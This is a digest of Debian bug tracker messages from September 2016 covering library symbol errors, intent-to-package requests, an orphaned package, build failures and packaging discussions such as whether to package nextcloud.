  APT policy: (500, 'testing'), (500, 'stable')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.6.0-1-amd64 (SMP w/8 CPU cores)
Locale: LANG=ru_RU.UTF-8, LC_CTYPE=ru_RU.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages roxterm depends on:
ii  roxterm-gtk3  2.9.5-1

roxterm recommends no packages.

roxterm suggests no packages.

-- no debconf information

Bug#837799: libphonenumber.so.7: undefined symbol

[Jonas]

$ ldd /usr/lib/x86_64-linux-gnu/libphonenumber.so.7
linux-vdso.so.1 (0x7fff3d7e3000)
	libprotobuf.so.10 => /usr/local/lib/libprotobuf.so.10 
(0x7fbee6c3a000)
	libboost_date_time.so.1.61.0 => 
/usr/lib/x86_64-linux-gnu/libboost_date_time.so.1.61.0 
(0x7fbee6a29000)
	libboost_system.so.1.61.0 => 
/usr/lib/x86_64-linux-gnu/libboost_system.so.1.61.0 (0x7fbee6824000)
	libboost_thread.so.1.61.0 => 
/usr/lib/x86_64-linux-gnu/libboost_thread.so.1.61.0 (0x7fbee65fc000)
	libboost_chrono.so.1.61.0 => 
/usr/lib/x86_64-linux-gnu/libboost_chrono.so.1.61.0 (0x7fbee63f5000)
	libboost_atomic.so.1.61.0 => 
/usr/lib/x86_64-linux-gnu/libboost_atomic.so.1.61.0 (0x7fbee61f2000)
	libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 
(0x7fbee5fd5000)
	libicuuc.so.57 => /usr/lib/x86_64-linux-gnu/libicuuc.so.57 
(0x7fbee5c2d000)
	libicui18n.so.57 => /usr/lib/x86_64-linux-gnu/libicui18n.so.57 
(0x7fbee57b2000)
	libstdc++.so.6 => /usr/lib/x86_64-linux-gnu/libstdc++.so.6 
(0x7fbee5431000)

libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x7fbee512c000)
	libgcc_s.so.1 => /lib/x86_64-linux-gnu/libgcc_s.so.1 
(0x7fbee4f15000)

libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x7fbee4b74000)
/lib64/ld-linux-x86-64.so.2 (0x560d98ebe000)
librt.so.1 => /lib/x86_64-linux-gnu/librt.so.1 (0x7fbee496c000)
	libicudata.so.57 => /usr/lib/x86_64-linux-gnu/libicudata.so.57 
(0x7fbee2eee000)

libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x7fbee2cea000)

Le jeu. 22 sept. 2016 à 0:07, Michael Biebl  a 
écrit :

On Wed, 14 Sep 2016 20:39:45 +0200 Jonas  wrote:

 Package: evolution
 Version: 3.20.5-1
 Severity: important

 Dear Maintainer,

 evolution don't work in testing, from a terminal :

 $ evolution
 evolution: symbol lookup error: 
/usr/lib/x86_64-linux-gnu/libphonenumber.so.7:

 undefined symbol:
 
_ZNK6google8protobuf11MessageLite39InternalSerializeWithCachedSizesToArrayEbPh


Can you send me the output of

ldd /usr/lib/x86_64-linux-gnu/libphonenumber.so.7

--
Why is it that all of the instruments seeking intelligent life in the
universe are pointed away from Earth?

Bug#835086: RFP: nextcloud -- self-hosted cloud services

[Axel Beckert]

Hi David,

David Prévot wrote:
> Le 22/09/2016 à 01:08, Sam Hartman a écrit :
> >> "Xavier" == Xavier Bestel  writes:
> > Xavier> Le mardi 20 septembre 2016 à 19:38 +0200, Moritz Mühlenhoff
> > >> Nack. It's not an important package if we can't support it
> > >> properly.  Let's not repeat the owncloud disaster.
> > 
> > Xavier> OK, I understand the "official" debian point of view.
> > 
> > I don't think this is an official Debian POV, simply the opinion of some
> > Debian contributors...
> 
> Moritz is an active and well known member of the security team.

That still doesn't make his opinion "official". I don't think that
something like an "official Debian opinion" exists at all.

> The current ownCloud upstream maintainers reached back to us a few
> months ago and are willing to help (or at least not be as obnoxious as
> the ones who drove the package away from Debian, and are now gone in the
> nextcloud fork team).

Do I read that right, the chances for nextCloud in Debian are rather
low while the chances to get ownCloud back in Debian raised due to the
obnoxious upstream developers left together with nextCloud fork and
the remaining developers are more friendly towards distributions?

Regards, Axel
-- 
 ,''`.  |  Axel Beckert , http://people.debian.org/~abe/
: :' :  |  Debian Developer, ftp.ch.debian.org Admin
`. `'   |  4096R: 2517 B724 C5F6 CA99 5329  6E61 2FF9 CD59 6126 16B5
  `-|  1024D: F067 EA27 26B9 C3FC 1486  202E C09E 1D89 9593 0EDE

Bug#838310: keyboard-configuration: user configuration lost + error message from setupcon

[Vincent Lefevre]

On 2016-09-22 18:42:21 +0300, Anton Zinoviev wrote:
> On Thu, Sep 22, 2016 at 02:17:54PM +0200, Sven Joachim wrote:
> > I'm pretty sure it is.  The list of keyboard models is generated by
> > running "./kbdnames-maker KeyboardNames.pl" from the Keyboard/
> > directory, and currently this command does not print anything.  I
> > tracked the problem down to the removal of the current directory from
> > @INC in perl, running "perl -I. kbdnames-maker KeyboardNames.pl" gives
> > the long list of keyboard models again.
> 
> I am adding to this bug a 'help' tag because the bug is grave and at the 
> moment I don't have updated Debian machine so I can not debug.  
> 
> Conceivably, the fix will be trivial.  I don't know if the following 
> will fix the bug and if this is the right thing to do, but it seems 
> simple to change the first line
> 
> #!/usr/bin/perl
> 
> of Keyboard/kbdcompiler and Keyboard/kbdnames-maker to
> 
> #!/usr/bin/perl -I.

This solves the issue for the keyboard-configuration.config file.

This also introduces the following change in
"/usr/share/console-setup/kbdnames-maker":

@@ -1,4 +1,4 @@
-#!/usr/bin/perl
+#!/usr/bin/perl -I.
 
 use warnings 'all';
 use strict;

I suppose that this is OK if /usr/share/console-setup/kbdnames-maker
is expected to be run with /usr/share/console-setup as the current
working directory. Otherwise, I'm wondering... What is the goal of
this script here?

-- 
Vincent Lefèvre  - Web: 
100% accessible validated (X)HTML - Blog: 
Work: CR INRIA - computer arithmetic / AriC project (LIP, ENS-Lyon)

Bug#838582: ITP: python-testing.postgresql -- Python unit testing helper for temporary PostgreSQL databases

[Dominik George]

Package: wnpp
Severity: wishlist
Owner: Dominik George 

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

* Package name: python-testing.postgresql
  Version : 1.3.0
  Upstream Author : Takeshi Komiya
* URL : https://github.com/tk0miya/testing.postgresql
* License : Apache
  Programming Lang: Python
  Description : Python unit testing helper for temporary PostgreSQL 
databases

The testing.postgresql package is a helper module for unit testing Python
database applications. It provides methods for setting up, maintaing,
and cleaning up a PostgreSQL database server that can be used within a test
suite. A real PostgreSQL server is started as an instance in a temporary
directory and removed after running the tests.


The package would enable Debian package builds to use it and to enable
unit tests of Python packages that use databases. Right now, the only
way to build packages that do is to disable the tests.

The package shall be maintained within the Debian Python Modules Team.

-BEGIN PGP SIGNATURE-

iQJhBAEBCABLBQJX5ASeMRpodHRwczovL3d3dy5kb21pbmlrLWdlb3JnZS5kZS9n
cGctcG9saWN5LnR4dC5hc2MSHG5pa0BuYXR1cmFsbmV0LmRlAAoJELeaPBagxPKW
OC4P+wVDTvdt+ISFXMWyu0odDl/Kqjyx7jBxdBN3aSxjyhKpKyIvTyOYUU+wPSxe
fhEPeZM+OBeKYOxzclr5Scal2D64enL8k77cNGxw0hzQ2EaIGhStDE5Cxz8OJmuT
RnMEWQpHo2/PEkIsW8VVeu4oAPHkk+/gCoVXOYxwyxmtBPZWxLkvyjzHq6B2Q07h
7avdjrvdI15G5ASi27XFHoadGIV3toGIwzVRKqvAe2zTIlSgeFtQhgDKTIi0VfqO
D77+cIm/AMKWdrzWlTNtDA68QMAtqt3TGGo7lFHNETY7yrOZdPJwK1EgHAvX7NrC
3xH0PrOLu7WvQ3+0bLAlTtBRIJGxKbvMizqnNGwGeRJUHcWeexpahQczNy27CC9q
RlSiT8IfgGMouPRP7xJaqH1eg6SIhXxZ5FbI3K/k+L6xVI/Mo83q+w6VBKTzjRVf
TSTcSbDWQNnDc2yCpZ0vNI/1sth3jQKvtjgE4ARahlHIHLsjzpulzTA2/du3e931
NN+lJlTyz1Jp4yFXR2o/XazIn/VsoQtC5+LMy0RzyJE1Kjjs60iaGtFhRo34LrR1
StxwR8PhuK/hJluAN0Ufg6jLXPX7XGrZhSzgVugGbW2q9/jufcPtZbcXdtt/eD8V
J9zLKV5N9nvT/nx2JtP4C5DsIbHrT3FTd6qY/wxmpq/Qt7zE
=WzUS
-END PGP SIGNATURE-

Bug#838585: libstoragemgmt: current version (1.2.3) shouldn't be part of Stretch

[Ritesh Raj Sarraf]

Source: libstoragemgmt
Severity: grave
Justification: renders package unusable

This is a placeholder bug to indicate that libstoragemgmt shouldn't, in
its current form, be part of the Stretch Release.

I could request the removal of it from the archive, but I'm hopeful that
someone else may step up and take over its maintenance.

The package has been orphaned as mentioned in #824749

-- System Information:
Debian Release: stretch/sid
  APT prefers testing-debug
  APT policy: (990, 'testing-debug'), (990, 'unstable'), (990, 'testing'), 
(500, 'unstable-debug'), (101, 'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.8.0-rc7alxb+ (SMP w/4 CPU cores)
Locale: LANG=en_IN.utf8, LC_CTYPE=en_IN.utf8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Bug#838584: ITP: rainbow-mode -- colorize color names in buffers

[Lev Lamberov]

Package: wnpp
Severity: wishlist
Owner: Lev Lamberov 

* Package name: rainbow-mode
  Version : 0.12
  Upstream Author : Julien Danjou 
* URL : https://elpa.gnu.org/packages/rainbow-mode.html
* License : GPL-3+
  Programming Lang: Emacs Lisp
  Description : colorize color names in buffers

This minor mode sets background color to strings that match color names, e.g.
#ff is displayed in white with a blue background.

Bug#824749: RFA: libstoragemgmt

[Ritesh Raj Sarraf]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

Control: retitle -1 "O: libstoragemgmt"


I'm hereby orphaning this package, due to lack of interest in the domain, at
this time. For now, I'll file a RC bug against the package, because in its
current state, it wouldn't be good to see it be part of the next stable release.

Incase it gets adopted by a new maintainer, a new upstream release should help
freshen up the package (and fix the RC bug).


On Thu, 2016-05-19 at 17:26 +0530, Ritesh Raj Sarraf wrote:
> Package: wnpp
> Severity: normal
> 
> I intend to orphan this package, but my hope is to find a maintainer
> whom I could transition this to.
> 
> libstoragemgmt is a vendor agnostic library to manage your enterprise
> storage needs. It can talk to Enterprise SAN arrays.
> 
> The upstream for it is accessible at:
> https://github.com/libstorage/libstoragemgmt
> 
> For this package, there isn't much install base in Debian, at this time.
> 
> 
- -- 
Ritesh Raj Sarraf | http://people.debian.org/~rrs
Debian - The Universal Operating System
-BEGIN PGP SIGNATURE-

iQIcBAEBCgAGBQJX5AU5AAoJEKY6WKPy4XVpCGkP/jKqp/Lo5V+R0hqFtXiizuTr
UgriDZ8kcfwKkJsL9gZ+pzZ/v7lxsSeI8oHZv7LNWWaA2y5hTKREoA6o9lrVMEjl
MTNqdwbGumqCW72MORHT2KSx/xQs+rk4yFMGWqk+yKRI4XkUkQId0k3jsM7v0jKs
Z/ABnPL4O36V6FcYMgKziEKAn2JrkxOqje0PX4IzA5+/nfWlr+Xcr3ZElGg1Nd1P
k6+ZFFrEBDcec0Gx/bqe5ElY635ilhCL5aPDCHnxgO2/W5Sg64hIXGKXz93YMavN
jg+VPeKD1EV35x6xGdg/mSTnhfxrm/XxNEJuzVPe0WbNx/3fBuouq2q2TYnLM2OX
MfqAqYsan5cwihKvHsTHugIrkQrjlJN+O/VOvTjwokVRrRG1d1HnOVLSlL662Dbn
ARf3ZQ9tG+ycSIvnEs9wMOWNf6I0BtNoicHOaUgeBB0ojF05CcpV7urLBcvi0oE1
PLOBZkPNqcyXEUbB+sQGV/3s4JncSPdiX1zTIBN4fTQcqlzEYHHj9YEcEsoX+s1C
m+ZzuEMKOkKZzPleeFGzcckK+FLF+ppW9bN6DJWRw4w2bklWew/aSqXl8nJaoQ48
+z+UeOy045bnr6Fp1ZeVHSY/8j+z/XcIeIQmk5eDxIzZePhtXWUV9qrTgNh4eY8Z
J/ZnWvy+cF6iC4sXjYaG
=GSud
-END PGP SIGNATURE-

Bug#838583: libconfig-model-lcdproc-perl: FTBFS with "Syntax error: spurious char at command end"

[Santiago Vila]

Package: src:libconfig-model-lcdproc-perl
Version: 2.049-1
Severity: serious

Dear Perl maintainers:

I tried to build this package in stretch with "dpkg-buildpackage -A"
(which is what the "Arch: all" autobuilder would do to build it)
but it failed:


[...]
 debian/rules build-indep
dh build-indep
   dh_testdir -i
   dh_update_autotools_config -i
   dh_auto_configure -i
perl -I. Build.PL --installdirs vendor --config "optimize=-g -O2 
-fdebug-prefix-map=/<>=. -fstack-protector-strong -Wformat 
-Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2" --config 
"ld=x86_64-linux-gnu-gcc -g -O2 -fdebug-prefix-map=/<>=. 
-fstack-protector-strong -Wformat -Werror=format-security -Wl,-z,relro"
Created MYMETA.yml and MYMETA.json
Creating new 'Build' script for 'Config-Model-LcdProc' version '--installdirs'
   debian/rules override_dh_auto_build
make[1]: Entering directory '/<>'
touch lcdproc/LCDd.conf
dh_auto_build
perl Build
Load command error:
command: 'max='
Syntax error: spurious char at command end: '='. Did you forget double 
quotes ?
Exception thrown  at /usr/share/perl5/Config/Model/Exception.pm line 69.

Config::Model::Exception::rethrow(Config::Model::Exception::Load=HASH(0x7bf99a8))
 called at /usr/share/perl5/Config/Model/Exception.pm line 64
Config::Model::Exception::throw("Config::Model::Exception::Load", 
"command", "max=", "error", "Syntax error: spurious char at command end: '='. 
Did you forg"...) called at /usr/share/perl5/Config/Model/Loader.pm line 161
Config::Model::Loader::_split_cmd("max=") called at 
/usr/share/perl5/Config/Model/Loader.pm line 222
Config::Model::Loader::_load(Config::Model::Loader=HASH(0x7ada6a0), 
Config::Model::Node=HASH(0x7d2e978), "yes", ARRAY(0x19ef0a0)) called at 
/usr/share/perl5/Config/Model/Loader.pm line 683

Config::Model::Loader::_load_hash(Config::Model::Loader=HASH(0x7ada6a0), 
Config::Model::Node=HASH(0x78c2230), "yes", ARRAY(0x2ce4e78), ARRAY(0x19ef0a0)) 
called at /usr/share/perl5/Config/Model/Loader.pm line 296
Config::Model::Loader::_load(Config::Model::Loader=HASH(0x7ada6a0), 
Config::Model::Node=HASH(0x78c2230), "yes", ARRAY(0x19ef0a0)) called at 
/usr/share/perl5/Config/Model/Loader.pm line 683

Config::Model::Loader::_load_hash(Config::Model::Loader=HASH(0x7ada6a0), 
Config::Model::Node=HASH(0x26d4208), "yes", ARRAY(0x19fdec8), ARRAY(0x19ef0a0)) 
called at /usr/share/perl5/Config/Model/Loader.pm line 296
Config::Model::Loader::_load(Config::Model::Loader=HASH(0x7ada6a0), 
Config::Model::Node=HASH(0x26d4208), "yes", ARRAY(0x19ef0a0), 1) called at 
/usr/share/perl5/Config/Model/Loader.pm line 80
Config::Model::Loader::load(Config::Model::Loader=HASH(0x7ada6a0), 
"node", Config::Model::Node=HASH(0x26d4208), "steps", "class:\"LCDd::picolcd\" 
element:LircFlushThreshold type=leaf  v"...) called at 
/usr/share/perl5/Config/Model/Node.pm line 918
Config::Model::Node::load(Config::Model::Node=HASH(0x26d4208), 
"class:\"LCDd::picolcd\" element:LircFlushThreshold type=leaf  v"...) called at 
script/lcdconf2model.pl line 342
Building lcdproc model from upstream LCDd.conf file...
note: unhandled legal  spec: '0x200-0x400'. Sending it back to doc
note: unhandled legal  spec: '1x1-640x480'. Sending it back to doc
lcdconf2model failed: 512 at /<>/_build/lib/Module/Build/Custom.pm 
line 8.
dh_auto_build: perl Build returned exit code 2
debian/rules:7: recipe for target 'override_dh_auto_build' failed
make[1]: *** [override_dh_auto_build] Error 2
make[1]: Leaving directory '/<>'
debian/rules:4: recipe for target 'build-indep' failed
make: *** [build-indep] Error 2
dpkg-buildpackage: error: debian/rules build-indep gave error exit status 2


The relevant part of the build log is included above.

It fails in unstable as well:

https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/libconfig-model-lcdproc-perl.html

As usual, if this is really a bug in one of the build-depends, please
use reassign and affects, so that this is still visible in the page
for this package. I tried to find some build-dependency to blame, but
did not found any.

Thanks.

Bug#825169: mps-youtube: I get KeyError: 'dashmpd' when trying to view or download some videos

[Zlatan Todoric]

Hi guys, do you still get the same issue with new pafy in Debian?


On 07/06/2016 06:16 PM, Zlatan Todoric wrote:

Hi,

On Tue, 24 May 2016 11:47:52 +0200 =?utf-8?q?R=C3=A9mi_Letot?=
 wrote:

Package: mps-youtube
Version: 0.2.5-5
Severity: normal

Dear Maintainer,

here is what I get when trying to download some videos:


Enter /search-term to search or [h]elp

url -_KfYQm39kQ

Traceback (most recent call last):
   File "/usr/bin/mpsyt", line 9, in 
 load_entry_point('mps-youtube==0.2.5', 'console_scripts', 'mpsyt')()
   File "/usr/lib/python3/dist-packages/mps_youtube/main.py", line 4780, in main
 if matchfunction(k, v, userinput):
   File "/usr/lib/python3/dist-packages/mps_youtube/main.py", line 4680, in 
matchfunction
 func(*matches)
   File "/usr/lib/python3/dist-packages/mps_youtube/main.py", line 4243, in 
yt_url
 p = pafy.new(url)
   File "/usr/lib/python3/dist-packages/pafy/pafy.py", line 148, in new
 return Pafy(url, basic, gdata, signature, size, callback)
   File "/usr/lib/python3/dist-packages/pafy/pafy.py", line 866, in __init__
 self.fetch_basic()
   File "/usr/lib/python3/dist-packages/pafy/pafy.py", line 892, in fetch_basic
 smaps, js_url, mainfunc, dashurl = get_js_sm(self.videoid)
   File "/usr/lib/python3/dist-packages/pafy/pafy.py", line 481, in get_js_sm
 dash_url = stream_info['dashmpd']
KeyError: 'dashmpd'


And then I'm back to my shell.

I searched the web, and found recommandations to install
youtube-dl, but this package is already installed on my
system and has no trouble to download that particular
video.
  
Thanks for your work,

--
Rémi

-- System Information:
Debian Release: stretch/sid
   APT prefers unstable
   APT policy: (500, 'unstable'), (1, 'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.5.0-2-amd64 (SMP w/4 CPU cores)
Locale: LANG=fr_FR.utf8, LC_CTYPE=fr_FR.utf8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages mps-youtube depends on:
ii  ffmpeg 7:3.0.1-3
ii  mpv0.14.0-1+b2
ii  python33.5.1-3
ii  python3-pafy   0.3.80-1
ii  python3-pkg-resources  20.10.1-1

Hi, yes this is a issue with pafy backend (an upstream issue). It got
resolved used with youtube-dl as backend (which will be available in my
new update) but the issue seems to be that it needs python3 version of
youtube-dl which appears to not be case in Debian atm but I will check.

Bug#835086: RFP: nextcloud -- self-hosted cloud services

[David Prévot]

Le 22/09/2016 à 01:08, Sam Hartman a écrit :
>> "Xavier" == Xavier Bestel  writes:
> Xavier> Le mardi 20 septembre 2016 à 19:38 +0200, Moritz Mühlenhoff

> >> > * Package name: nextcloud

> >> Nack. It's not an important package if we can't support it
> >> properly.  Let's not repeat the owncloud disaster.
> 
> Xavier> OK, I understand the "official" debian point of view.
> 
> I don't think this is an official Debian POV, simply the opinion of some
> Debian contributors...

Moritz is an active and well known member of the security team. As the
current (or previous…) almost only maintainer of owncloud in Debian, I
do agree with this (strong) advice.

The current ownCloud upstream maintainers reached back to us a few
months ago and are willing to help (or at least not be as obnoxious as
the ones who drove the package away from Debian, and are now gone in the
nextcloud fork team). If someone wants the owncloud package back, I
suggest them to join the current packaging team and eventually take over.

Regards

David



signature.asc
Description: OpenPGP digital signature

Bug#838581: ITP: python-testing.mysqld -- Python unit testing helper for temporary MySQL databases

[Dominik George]

Package: wnpp
Severity: wishlist
Owner: Dominik George 

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

* Package name: python-testing.mysqld
  Version : 1.4.0
  Upstream Author : Takeshi Komiya
* URL : https://github.com/tk0miya/testing.mysqld
* License : Apache
  Programming Lang: Python
  Description : Python unit testing helper for temporary MySQL databases

The testing.mysqld package is a helper module for unit testing Python
database applications. It provides methods for setting up, maintaing,
and cleaning up a MySQL database server that can be used within a test
suite. A real MySQL server is started as an instance in a temporary
directory and removed after running the tests.


The package would enable Debian package builds to use it and to enable
unit tests of Python packages that use databases. Right now, the only
way to build packages that do is to disable the tests.

The package shall be maintained within the Debian Python Modules Team.

-BEGIN PGP SIGNATURE-

iQJhBAEBCABLBQJX5APJMRpodHRwczovL3d3dy5kb21pbmlrLWdlb3JnZS5kZS9n
cGctcG9saWN5LnR4dC5hc2MSHG5pa0BuYXR1cmFsbmV0LmRlAAoJELeaPBagxPKW
M0EP+QEsX9hTVtToT3gkYdJnQ0qYo5SxmM+vtDjreWwQC+pWB2XdnXPtzheIifAi
dJkbxT7n1UmndsroPkKiay9Qhhs/i+k/maAdArTTOKG93KmZGmXw7+L87XqavGa0
hdMWnc7rFqAmgg6KAyQb0NjT4TZvtwetGvkTRDwFyWSlbeXS91dK9zTAtaAU31Jv
W5hh+ec+72bOdg7d5usut+KcwmiYXQcX2cTD9VAwSdM5dk13LUzvXffXn9pQTWc1
zEtCMKDLaqtB3do+95kZwjFQW+ynd4XfKyCsQdB3MuVn4rc+Ruc87mHijUI6Uhys
a1xvNbVNM3WtP0QBNi4b93MLZt7kOdGB9fGvMnSr2X6dLmwcW83jochBC629UhIU
fW/CMPGnZ/DwarMerov8j71rUv3tv01LI2FkLlF/oXDkh5Ni6l2sCDljfv4gtM8O
yAXKJsU5HOX1gc7KOdE+BI5Ws6k4qiRQUf7UWouLRuZVs2fvj1C6ntLxz7mkoTuQ
bvpZpTGLweGzzsl0/9A301Ooxpg+f1DxH2TI6BpRWA9t2XLqabsCW+8gBdAGmnQs
yE99tuWmqAQ3tsZCU0/1cPf0dym4Ir6jOKd6n2EjwvAMb2I5glG2VL8/WXeF1hNN
4p8kazlWHTFUiCrnrLyQjbuL7V29wekjKCv3vhYo2NVE1JJx
=eAUz
-END PGP SIGNATURE-

Bug#838579: zeroc-ice: FTBFS in testing (Build failed with an exception)

[Jose Gutierrez de la Concha]

Hi Santiago,

We will upload a new version that solve the issue

 What went wrong:
A problem occurred evaluating root project 'java'.
> Could not resolve all dependencies for configuration 'classpath'.
   > Could not resolve com.zeroc.gradle.ice-builder:slice:1.3.6.
 Required by:
 unspecified:unspecified:unspecified
  > No cached version of com.zeroc.gradle.ice-builder:slice:1.3.6
available for offline mode.
  > No cached version of com.zeroc.gradle.ice-builder:slice:1.3.6
available for offline mode.


We recently updated gradle.ice-builder to version 1.3.13, Java build should
not hardcode the builder version and
use instead `debian` version.

That bug is already fixed in upstream packaging
https://github.com/zeroc-ice/ice-debian-packaging/tree/3.6

Still need to import latest Ice 3.6 changes there and upload to testing


On Thu, Sep 22, 2016 at 5:56 PM, Santiago Vila  wrote:

> Package: src:zeroc-ice
> Version: 3.6.2-stretch-51-gba6baa6-2
> Severity: serious
>
> Dear maintainer:
>
> I tried to build this package in stretch with "dpkg-buildpackage -A"
> (which is what the "Arch: all" autobuilder would do to build it)
> but it failed.
>
> 
> 
> [...]
> FAILURE: Build failed with an exception.
>
> * Where:
> Build file '/<>/java/build.gradle' line: 16
>
> * What went wrong:
> A problem occurred evaluating root project 'java'.
> > Could not resolve all dependencies for configuration 'classpath'.
> 
> 
>
> I'm attaching two different build logs.
>
> Sorry, I have not tried "dpkg-buildpackage" alone, but this package has
> separate override_dh_auto_build-arch and override_dh_auto_build-indep
> targets, so this could be "dpkg-buildpackage -A" specific indeed.
>
> Thanks.




-- 
José Gutiérrez de la Concha
ZeroC, Inc.

Bug#838418: Bug#838549: libreoffice-gtk3: Fails to make libreoffice work

[Simon John]

5.2.2 packages fix the rendering issue for me too.

So was it an upstream issue, not packaging?

Regards.


On 22/09/16 14:18, g.l. gragnani wrote:
> It works for me.
> 
> Best regards,
> 
> Gigi
> 
> On 09/22/2016 01:46 PM, Rene Engelhard wrote:
[...]
>> Does it work for you with the 5.2.2 packages from
>> http://people.debian.org/~rene/libreoffice/5.2.2?
>>
>> Regards,
>>
>> Rene
>>

Bug#838542: [Android-tools-devel] Bug#838542: android-platform-system-core: profile build does not actually work

[殷啟聰]

Hi Wookey,

Thanks for your bug report!

I have spotted the issue and fixed it in VCS. Please see:
.

libunwind and safe-iop are indeed needed in stage1, as well as pandoc
(I guess you had typos?). We never intended to set a stage for "nodoc"
which, so I also included it in stage1.

However I'm not sure about your point of self dependency of
andoid-platform-system-core-headers. This package does not
build-depend on it, but instead depends on
android-platform-build-headers.